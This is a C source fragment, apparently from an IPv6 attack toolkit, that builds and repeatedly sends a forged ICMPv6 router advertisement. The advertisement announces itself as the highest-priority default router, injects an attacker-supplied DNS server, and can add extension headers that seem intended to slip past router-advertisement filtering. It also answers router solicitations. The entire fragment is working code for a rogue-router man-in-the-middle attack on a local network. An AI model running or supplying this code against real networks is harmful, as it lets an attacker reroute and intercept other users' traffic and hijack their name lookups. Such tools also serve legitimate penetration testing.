  if (routerip6 == NULL || size < 1 || size > 128) {
    fprintf(stderr, "Error: IP-ADDRESS/PREFIXLENGTH argument is invalid: %s\n", argv[optind + 1]);
    exit(-1);
  }
  if (size < 48 || size > 64)
    fprintf(stderr, "Warning: unusual network prefix size defined, be sure what your are doing: %d\n", size);
  if (dns == NULL) {
    fprintf(stderr, "Error: dns argument is invalid: %s\n", argv[optind + 2]);
    exit(-1);
  }
  if (ip6 == NULL) {
    fprintf(stderr, "Error: link-local-ip6 argument is invalid: %s\n", argv[optind + 3]);
    exit(-1);
  }
  if (mtu < 1 || mtu > 65536) {
    fprintf(stderr, "Error: mtu argument is invalid: %s\n", argv[optind + 4]);
    exit(-1);
  }
  if (mtu < 1228 || mtu > 1500)
    fprintf(stderr, "Warning: unusual mtu size defined, be sure what you are doing :%d\n", mtu);
  if (mac6 == NULL) {
    fprintf(stderr, "Error: mac address in invalid\n");
    exit(-1);
  }
  memset(buf, 0, sizeof(buf));
  memset(buf2, 0, sizeof(buf2));
  memset(buf3, 0, sizeof(buf3));

  if ((p = thc_pcap_init(interface, string)) == NULL) {
    fprintf(stderr, "Error: could not capture on interface %s with string %s\n", interface, string);
    exit(-1);
  }

  i = 128 - size;
  j = i / 8;
  k = i % 8;
  if (k > 0)
    j++;
  memset(route6 + 16 - j, 0, j);
  if (k > 0)
    route6[17 - j] = (route6[17 - j] >> (8 - k)) << (8 - k);

//  buf[3] = 250; // 0-3: reachable timer
  buf[6] = 4;                   // 4-7: retrans timer
  // option mtu
  buf[8] = 5;
  buf[9] = 1;
  buf[12] = mtu / 16777216;
  buf[13] = (mtu % 16777216) / 65536;
  buf[14] = (mtu % 65536) / 256;
  buf[15] = mtu % 256;
  // option prefix
  buf[16] = 3;
  buf[17] = 4;
  buf[18] = size;               // prefix length
  buf[19] = 128 + 64;
  memset(&buf[20], 17, 4);
  memset(&buf[24], 4, 4);
  memcpy(&buf[32], route6, 16);

  i = 48;
  // mac address option
  buf[i++] = 1;
  buf[i++] = 1;
  memcpy(buf + i, mac6, 6);
  i += 6;

  // default route routing option
  buf[i++] = 0x18;              // routing entry option type
  buf[i++] = 0x03;              // length 3 == 24 bytes
  buf[i++] = 0x00;              // prefix length
  buf[i++] = 0x08;              // priority, highest of course
  i += 2;                       // 52-53 unknown
  buf[i++] = 0x11;              // lifetime, word
  buf[i++] = 0x11;              // lifetime, word
  i += 16;                      // 56-71 address, all zeros for default

  // specific route routing option 2000::/3
  buf[i++] = 0x18;              // routing entry option type
  buf[i++] = 0x03;              // length 3 == 24 bytes
  buf[i++] = 0x03;              // prefix length
  buf[i++] = 0x08;              // priority, highest of course
  i += 2;                       // 52-53 unknown
  buf[i++] = 0x11;              // lifetime, word
  buf[i++] = 0x11;              // lifetime, word
  buf[i++] = 0x20;              // 56-71 address: 2000::
  i += 15;

  // specific route routing option 2000::/3
  buf[i++] = 0x18;              // routing entry option type
  buf[i++] = 0x03;              // length 3 == 24 bytes
  buf[i++] = 0x07;              // prefix length
  buf[i++] = 0x08;              // priority, highest of course
  i += 2;                       // 52-53 unknown
  buf[i++] = 0x11;              // lifetime, word
  buf[i++] = 0x11;              // lifetime, word
  buf[i++] = 0xfc;              // 56-71 address: fc::
  i += 15;

  // dns option
  buf[i++] = 0x19;              // dns option type
  buf[i++] = 0x03;              // length
  i += 2;                       // 74-75 reserved
  memset(buf + i, 1, 4);        // validity time
  i += 4;
  memcpy(buf + i, dns, 16);     // dns server
  i += 16;

  frbuflen = i;

  if ((pkt = thc_create_ipv6_extended(interface, PREFER_LINK, &pkt_len, ip6, dst, 255, 0, 0, 0xe0, 0)) == NULL)
    return -1;

  if (do_hop) {
    type = NXT_HBH;
    if (thc_add_hdr_hopbyhop(pkt, &pkt_len, frbuf2, 6) < 0)
      return -1;
  }
  if (do_frag) {
    type = NXT_FRAG;
    for (i = 0; i <= do_frag; i++)
      if (thc_add_hdr_oneshotfragment(pkt, &pkt_len, cnt++) < 0)
        return -1;
  }
  if (do_dst) {
    if (type == NXT_ICMP6)
      type = NXT_DST;
    if (thc_add_hdr_dst(pkt, &pkt_len, buf3, sizeof(buf3)) < 0)
      return -1;
  }
  if (thc_add_icmp6(pkt, &pkt_len, ICMP6_ROUTERADV, 0, 0xff080800, buf, i, 0) < 0)
    return -1;
  if (thc_generate_pkt(interface, mac6, dstmac, pkt, &pkt_len) < 0)
    return -1;
  frhdr = (thc_ipv6_hdr *) pkt;

  // init pcap

  printf("Starting to advertise router %s (Press Control-C to end) ...\n", argv[optind + 1]);
  while (1) {
    if (do_dst) {
      thc_send_as_fragment6(interface, ip6, dst, type, frhdr->pkt + 40 + myoff, frhdr->pkt_len - 40 - myoff, 1240);
    } else {
      thc_send_pkt(interface, pkt, &pkt_len);
    }
    while (thc_pcap_check(p, (char *) send_rs_reply, NULL) > 0);
    sleep(5);
  }
  return 0;
}